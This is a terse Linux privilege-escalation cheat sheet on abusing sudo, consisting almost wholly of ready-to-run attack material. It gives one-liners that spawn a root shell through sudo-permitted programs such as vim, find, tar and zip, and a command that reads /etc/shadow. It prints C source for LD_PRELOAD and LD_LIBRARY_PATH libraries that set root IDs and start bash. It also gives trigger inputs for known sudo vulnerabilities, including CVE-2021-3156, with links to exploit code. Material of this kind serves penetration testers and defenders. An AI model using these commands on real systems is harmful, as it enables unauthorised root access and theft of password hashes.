Sudo Abuse

sudo -l

https://gtfobins.github.io/#+sudo

sudo vim -c ':!/bin/bash'

sudo find / -exec /bin/bash \;

sudo python3 -c 'import os; os.system("/bin/bash")'

sudo perl -e 'exec "/bin/bash";'

sudo less /etc/shadow
!/bin/bash

sudo awk 'BEGIN {system("/bin/bash")}'

sudo nmap --interactive
!sh

sudo env /bin/bash

sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

sudo zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/bash"

sudo man man
!/bin/bash

sudo apache2 -f /etc/shadow

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_binary

ldd /usr/bin/allowed_binary

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}

gcc -shared -fPIC -o /tmp/libhijack.so hijack.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary

sudo -V | head -1

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

https://github.com/blasty/CVE-2021-3156
https://github.com/worawit/CVE-2021-3156

sudo -u#-1 /bin/bash

perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S -k id